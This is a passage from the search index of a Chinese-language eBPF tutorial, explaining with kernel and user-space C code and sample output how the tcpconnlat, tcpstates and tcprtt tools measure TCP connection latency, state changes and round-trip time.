tgid;\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} SEC(\"kprobe/tcp_v4_connect\")\nint BPF_KPROBE(tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_v6_connect\")\nint BPF_KPROBE(tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"kprobe/tcp_rcv_state_process\")\nint BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} SEC(\"fentry/tcp_v4_connect\")\nint BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_v6_connect\")\nint BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)\n{ return trace_connect(sk);\n} SEC(\"fentry/tcp_rcv_state_process\")\nint BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)\n{ return handle_tcp_rcv_state_process(ctx, sk);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这个eBPF（Extended Berkeley Packet Filter）程序主要用来监控并收集TCP连接的建立时间，即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。 首先，定义了两个eBPF maps：start和events。start是一个哈希表，用于存储发起连接请求的进程信息和时间戳，而events是一个PERF_EVENT_ARRAY类型的map，用于将事件数据传输到用户态。 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 4096); __type(key, struct sock *); __type(value, struct piddata);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中，会记录下发起连接请求的进程信息（进程名、进程ID和当前时间戳），并以socket结构作为key，存储到start这个map中。 static int trace_connect(struct sock *sk)\n{ u32 tgid = bpf_get_current_pid_tgid() >> 32; struct piddata piddata = {}; if (targ_tgid && targ_tgid != tgid) return 0; bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm)); piddata.ts = bpf_ktime_get_ns(); piddata.tgid = tgid; bpf_map_update_elem(&start, &sk, &piddata, 0); return 0;\n} 当TCP状态机处理到SYN-ACK包，即连接建立的时候，会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中，首先检查socket的状态是否为SYN-SENT，如果是，会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔，将该时间间隔，进程信息，以及TCP连接的详细信息（源端口，目标端口，源IP，目标IP等）作为event，通过bpf_perf_event_output函数发送到用户态。 static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)\n{ struct piddata *piddatap; struct event event = {}; s64 delta; u64 ts; if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT) return 0; piddatap = bpf_map_lookup_elem(&start, &sk); if (!piddatap) return 0; ts = bpf_ktime_get_ns(); delta = (s64)(ts - piddatap->ts); if (delta < 0) goto cleanup; event.delta_us = delta / 1000U; if (targ_min_us && event.delta_us < targ_min_us) goto cleanup; __builtin_memcpy(&event.comm, piddatap->comm, sizeof(event.comm)); event.ts_us = ts / 1000; event.tgid = piddatap->tgid; event.lport = BPF_CORE_READ(sk, __sk_common.skc_num); event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport); event.af = BPF_CORE_READ(sk, __sk_common.skc_family); if (event.af == AF_INET) { event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr); event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr); } else { BPF_CORE_READ_INTO(&event.saddr_v6, sk, __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); BPF_CORE_READ_INTO(&event.daddr_v6, sk, __sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); cleanup: bpf_map_delete_elem(&start, &sk); return 0;\n} 理解这个程序的关键在于理解Linux内核的网络栈处理流程，以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是，首先调用tcp_v4_connect或tcp_v6_connect函数（根据IP版本不同）发起TCP连接，然后在收到SYN-ACK包时，通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe，可以在关键时刻得到通知并执行相应的处理代码。 一些关键概念说明： kprobe：Kernel Probe，是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点，当断点被触发时，会执行与kprobe关联的eBPF程序。 map：是eBPF程序中的一种数据结构，用于在内核态和用户态之间共享数据。 socket：在Linux网络编程中，socket是一个抽象概念，表示一个网络连接的端点。内核中的struct sock结构就是对socket的实现。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 内核态代码","id":"78","title":"内核态代码"},"79":{"body":"用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数，用于轮询perf event buffer并处理接收到的数据。 首先，让我们详细看一下主轮询循环： /* main: poll */ while (!exiting) { err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); if (err < 0 && err != -EINTR) { fprintf(stderr, \"error polling perf buffer: %s\\n\", strerror(-err)); goto cleanup; } /* reset err to return 0 if exiting */ err = 0; } 这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错（例如由于信号中断），会打印出错误消息。这个轮询过程会一直持续，直到收到一个退出标志exiting。 接下来，让我们来看看handle_event函数，这个函数将处理从内核发送到用户态的每一个eBPF事件： void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { const struct event* e = data; char src[INET6_ADDRSTRLEN]; char dst[INET6_ADDRSTRLEN]; union { struct in_addr x4; struct in6_addr x6; } s, d; static __u64 start_ts; if (env.timestamp) { if (start_ts == 0) start_ts = e->ts_us; printf(\"%-9.3f \", (e->ts_us - start_ts) / 1000000.0); } if (e->af == AF_INET) { s.x4.s_addr = e->saddr_v4; d.x4.s_addr = e->daddr_v4; } else if (e->af == AF_INET6) { memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr)); memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr)); } else { fprintf(stderr, \"broken event: event->af=%d\", e->af); return; } if (env.lport) { printf(\"%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), e->lport, inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); } else { printf(\"%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\\n\", e->tgid, e->comm, e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)), inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport), e->delta_us / 1000.0); }\n} handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体，包含了之前在内核态计算得到的TCP连接的信息。 首先，它将接收到的事件的时间戳和起始时间戳（如果存在）进行对比，计算出事件的相对时间，并打印出来。接着，根据IP地址的类型（IPv4或IPv6），将源地址和目标地址从网络字节序转换为主机字节序。 最后，根据用户是否选择了显示本地端口，将进程ID、进程名称、IP版本、源IP地址、本地端口（如果有）、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 用户态数据处理","id":"79","title":"用户态数据处理"},"8":{"body":"BCC全称为BPF Compiler Collection，该项目是一个python库， 包含了完整的编写、编译、和加载BPF程序的工具链，以及用于调试和诊断性能问题的工具。 自2015年发布以来，BCC经过上百位贡献者地不断完善后，目前已经包含了大量随时可用的跟踪工具。 其官方项目库 提供了一个方便上手的教程，用户可以快速地根据教程完成BCC入门工作。 用户可以在BCC上使用Python、Lua等高级语言进行编程。 相较于使用C语言直接编程，这些高级语言具有极大的便捷性，用户只需要使用C来设计内核中的 BPF程序，其余包括编译、解析、加载等工作在内，均可由BCC完成。 然而使用BCC存在一个缺点便是在于其兼容性并不好。基于BCC的 eBPF程序每次执行时候都需要进行编译，编译则需要用户配置相关的头文件和对应实现。在实际应用中， 相信大家也会有体会，编译依赖问题是一个很棘手的问题。也正是因此，在本项目的开发中我们放弃了BCC， 选择了可以做到一次编译-多次运行的libbpf-bootstrap工具。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » BCC","id":"8","title":"BCC"},"80":{"body":"$ make\n... BPF .output/tcpconnlat.bpf.o GEN-SKEL .output/tcpconnlat.skel.h CC .output/tcpconnlat.o BINARY tcpconnlat\n$ sudo ./tcpconnlat PID COMM IP SADDR DADDR DPORT LAT(ms)\n222564 wget 4 192.168.88.15 110.242.68.3 80 25.29\n222684 wget 4 192.168.88.15 167.179.101.42 443 246.76\n222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17\n222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31 源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat 参考资料： tcpconnlat","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 编译运行","id":"80","title":"编译运行"},"81":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数，然后通过捕获这些函数的调用，从而得到连接建立的起始时间和结束时间，计算出延时。 我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据，从而在 eBPF 程序的多个部分之间共享数据。同时，我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态，以便进一步处理和展示。 在用户态，我们介绍了如何使用 libbpf 库的 API，例如 perf_buffer__poll，来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印，使得它们能以人类可读的形式显示出来。 如果您希望学习更多关于 eBPF 的知识和实践，请查阅 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，例如如何使用 eBPF 来追踪网络包的传输路径，如何利用 eBPF 对系统的性能进行细粒度的监控等等。我们会继续分享更多有关 eBPF 开发实践的内容，帮助您更好地理解和掌握 eBPF 技术，希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 开发程序统计 TCP 连接延时 » 总结","id":"81","title":"总结"},"82":{"body":"eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具，被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码，而无需重启内核或更改内核源代码。 在我们的 eBPF 入门实践教程系列的这一篇，我们将介绍两个示例程序：tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化，而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT","id":"82","title":"eBPF入门实践教程十四：记录 TCP 连接状态与 TCP RTT"},"83":{"body":"网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多，包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题，我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间，从而评估网络质量，帮助用户找出可能的问题所在。 当 TCP 链接建立时，tcprtt 会自动根据当前系统的状况，选择合适的执行函数。在执行函数中，tcprtt 会收集 TCP 链接的各项基本信息，如源地址、目标地址、源端口、目标端口、耗时等，并将这些信息更新到直方图型的 BPF map 中。运行结束后，tcprtt 会通过用户态代码，将收集的信息以图形化的方式展示给用户。 tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长，单位为毫秒。例如，对于一个单独的 TCP 会话，tcpstates 可以打印出类似以下的输出： SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373\nffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042\nffff9fd7e819 2000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536\nffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 以上输出中，最多的时间被花在了 ESTABLISHED 状态，也就是连接已经建立并在传输数据的状态，这个状态到 FIN_WAIT1 状态（开始关闭连接的状态）的转变过程中耗费了 176.042 毫秒。 在我们接下来的教程中，我们会更深入地探讨这两个工具，解释它们的实现原理，希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt 与 tcpstates","id":"83","title":"tcprtt 与 tcpstates"},"84":{"body":"由于篇幅所限，这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码： const volatile bool filter_by_sport = false;\nconst volatile bool filter_by_dport = false;\nconst volatile short target_family = 0; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} sports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u16); __type(value, __u16);\n} dports SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct sock *); __type(value, __u64);\n} timestamps SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(__u32)); __uint(value_size, sizeof(__u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/sock/inet_sock_set_state\")\nint handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx)\n{ struct sock *sk = (struct sock *)ctx->skaddr; __u16 family = ctx->family; __u16 sport = ctx->sport; __u16 dport = ctx->dport; __u64 *tsp, delta_us, ts; struct event event = {}; if (ctx->protocol != IPPROTO_TCP) return 0; if (target_family && target_family != family) return 0; if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) return 0; if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) return 0; tsp = bpf_map_lookup_elem(&timestamps, &sk); ts = bpf_ktime_get_ns(); if (!tsp) delta_us = 0; else delta_us = (ts - *tsp) / 1000; event.skaddr = (__u64)sk; event.ts_us = ts / 1000; event.delta_us = delta_us; event.pid = bpf_get_current_pid_tgid() >> 32; event.oldstate = ctx->oldstate; event.newstate = ctx->newstate; event.family = family; event.sport = sport; event.dport = dport; bpf_get_current_comm(&event.task, sizeof(event.task)); if (family == AF_INET) { bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); } else { /* family == AF_INET6 */ bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); } bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); if (ctx->newstate == TCP_CLOSE) bpf_map_delete_elem(&timestamps, &sk); else bpf_map_update_elem(&timestamps, &sk, &ts, BPF_ANY); return 0;\n} tcpstates主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化，从而跟踪 TCP 连接在每个状态下的停留时间。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcpstate","id":"84","title":"tcpstate"},"85":{"body":"在tcpstates程序中，首先定义了几个 BPF Maps，它们是 eBPF 程序和用户态程序之间交互的主要方式。sports和dports分别用于存储源端口和目标端口，用于过滤 TCP 连接；timestamps用于存储每个 TCP 连接的时间戳，以计算每个状态的停留时间；events则是一个 perf_event 类型的 map，用于将事件数据发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 定义 BPF Maps","id":"85","title":"定义 BPF Maps"},"86":{"body":"程序定义了一个名为handle_set_state的函数，该函数是一个 tracepoint 类型的程序，它将被挂载到sock/inet_sock_set_state这个内核 tracepoint 上。每当 TCP 连接状态发生变化时，这个 tracepoint 就会被触发，然后执行handle_set_state函数。 在handle_set_state函数中，首先通过一系列条件判断确定是否需要处理当前的 TCP 连接，然后从timestampsmap 中获取当前连接的上一个时间戳，然后计算出停留在当前状态的时间。接着，程序将收集到的数据放入一个 event 结构体中，并通过bpf_perf_event_output函数将该 event 发送到用户态。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 追踪 TCP 连接状态变化","id":"86","title":"追踪 TCP 连接状态变化"},"87":{"body":"最后，根据 TCP 连接的新状态，程序将进行不同的操作：如果新状态为 TCP_CLOSE，表示连接已关闭，程序将从timestampsmap 中删除该连接的时间戳；否则，程序将更新该连接的时间戳。 用户态的部分主要是通过 libbpf 来加载 eBPF 程序，然后通过 perf_event 来接收内核中的事件数据： static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { char ts[32], saddr[26], daddr[26]; struct event* e = data; struct tm* tm; int family; time_t t; if (emit_timestamp) { time(&t); tm = localtime(&t); strftime(ts, sizeof(ts), \"%H:%M:%S\", tm); printf(\"%8s \", ts); } inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); if (wide_output) { family = e->family == AF_INET ? 4 : 6; printf( \"%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s \" \"%.3f\\n\", e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); } else { printf( \"%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\\n\", e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], (double)e->delta_us / 1000); }\n} handle_event就是这样一个回调函数，它会被 perf_event 调用，每当内核有新的事件到达时，它就会处理这些事件。 在handle_event函数中，我们首先通过inet_ntop函数将二进制的 IP 地址转换成人类可读的格式，然后根据是否需要输出宽格式，分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 这样，用户就可以清晰地看到 TCP 连接状态的变化，以及每个状态的停留时间，从而帮助他们诊断网络问题。 总结起来，用户态部分的处理主要涉及到了以下几个步骤： 使用 libbpf 加载并运行 eBPF 程序。 设置回调函数来接收内核发送的事件。 处理接收到的事件，将其转换成人类可读的格式并打印。 以上就是tcpstates程序用户态部分的主要实现逻辑。通过这一章的学习，你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中，我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 更新时间戳","id":"87","title":"更新时间戳"},"88":{"body":"在本章节中，我们将分析tcprtt eBPF 程序的内核态代码。tcprtt是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序，它将 RTT 的信息统计到一个 histogram 中。 /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u64); __type(value, struct hist);\n} hists SEC(\".maps\"); static struct hist zero; SEC(\"fentry/tcp_rcv_established\")\nint BPF_PROG(tcp_rcv, struct sock *sk)\n{ const struct inet_sock *inet = (struct inet_sock *)(sk); struct tcp_sock *ts; struct hist *histp; u64 key, slot; u32 srtt; if (targ_sport && targ_sport != inet->inet_sport) return 0; if (targ_dport && targ_dport != sk->__sk_common.skc_dport) return 0; if (targ_saddr && targ_saddr != inet->inet_saddr) return 0; if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) return 0; if (targ_laddr_hist) key = inet->inet_saddr; else if (targ_raddr_hist) key = inet->sk.__sk_common.skc_daddr; else key = 0; histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); if (!histp) return 0; ts = (struct tcp_sock *)(sk); srtt = BPF_CORE_READ(ts, srtt_us) >> 3; if (targ_ms) srtt /= 1000U; slot = log2l(srtt); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); if (targ_show_ext) { __sync_fetch_and_add(&histp->latency, srtt); __sync_fetch_and_add(&histp->cnt, 1); } return 0;\n} 首先，我们定义了一个 hash 类型的 eBPF map，名为hists，它用来存储 RTT 的统计信息。在这个 map 中，键是 64 位整数，值是一个hist结构，这个结构包含了一个数组，用来存储不同 RTT 区间的数量。 接着，我们定义了一个 eBPF 程序，名为tcp_rcv，这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中，我们首先根据过滤条件（源/目标 IP 地址和端口）对 TCP 连接进行过滤。如果满足条件，我们会根据设置的参数选择相应的 key（源 IP 或者目标 IP 或者 0），然后在hists map 中查找或者初始化对应的 histogram。 接下来，我们读取 TCP 连接的srtt_us字段，这个字段表示了平滑的 RTT 值，单位是微秒。然后我们将这个 RTT 值转换为对数形式，并将其作为 slot 存储到 histogram 中。 如果设置了show_ext参数，我们还会将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 通过以上的处理，我们可以对每个 TCP 连接的 RTT 进行统计和分析，从而更好地理解网络的性能状况。 总结起来，tcprtt eBPF 程序的主要逻辑包括以下几个步骤： 根据过滤条件对 TCP 连接进行过滤。 在hists map 中查找或者初始化对应的 histogram。 读取 TCP 连接的srtt_us字段，并将其转换为对数形式，存储到 histogram 中。 如果设置了show_ext参数，将 RTT 值和计数器累加到 histogram 的latency和cnt字段中。 tcprtt 挂载到了内核态的 tcp_rcv_established 函数上： void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); 这个函数是在内核中处理TCP接收数据的主要函数，主要在TCP连接处于ESTABLISHED状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用： 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 收到了乱序的数据包。 期待接收紧急数据。 没有剩余的缓冲区空间。 接收到了意外的TCP标志/窗口值/头部长度（通过检查TCP头部与预设标志进行检测）。 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者（这意味着序列号或确认值必须保持不变）。 接收到了意外的TCP选项。 当这些条件不满足时，它会进入一个标准的接收处理过程，这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证，剩下的情况则需要内联检查。当一切都正常时，快速处理过程会在tcp_data_queue函数中被开启。","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » tcprtt","id":"88","title":"tcprtt"},"89":{"body":"对于 tcpstates，可以通过以下命令编译和运行 libbpf 应用： $ make\n... BPF .output/tcpstates.bpf.o GEN-SKEL .output/tcpstates.skel.h CC .output/tcpstates.o BINARY tcpstates\n$ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS\nffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794\nffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793\nffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086\nffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000\nffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763\nffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 对于 tcprtt，我们可以使用 eunomia-bpf 编译运行这个例子： Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... 运行： $ sudo ecli run package.json -h\nA simple eBPF program Usage: package.json [OPTIONS] Options: --verbose Whether to show libbpf debug information --targ_laddr_hist Set value of `bool` variable targ_laddr_hist --targ_raddr_hist Set value of `bool` variable targ_raddr_hist --targ_show_ext Set value of `bool` variable targ_show_ext --targ_sport <targ_sport> Set value of `__u16` variable targ_sport --targ_dport <targ_dport> Set value of `__u16` variable targ_dport --targ_saddr <targ_saddr> Set value of `__u32` variable targ_saddr --targ_daddr <targ_daddr> Set value of `__u32` variable targ_daddr --targ_ms Set value of `bool` variable targ_ms -h, --help Print help -V, --version Print version Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json\nkey = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 4 |******************** | 1024 -> 2047 : 1 |***** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 8 |****************************************| key = 0\nlatency = 0\ncnt = 0 (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 0 | | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 0 | | 512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/14-tcpstates 参考资料： tcpstates tcprtt libbpf-tools/tcpstates","breadcrumbs":"使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT » 编译运行","id":"89","title":"编译运行"},"9":{"body":"eBPF Go库提供了一个通用的eBPF库，它解耦了获取 eBPF 字节码的过程和 eBPF 程序的加载和管理，并实现了类似 libbpf 一样的 CO- 功能。eBPF程序通常是通过编写高级语言创建的，然后使用clang/LLVM编译器编译为eBPF字节码。","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF Go library","id":"9","title":"eBPF Go library"},"90":{"body":"通过本篇 eBPF 入门实践教程，我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序，监控和分析 TCP 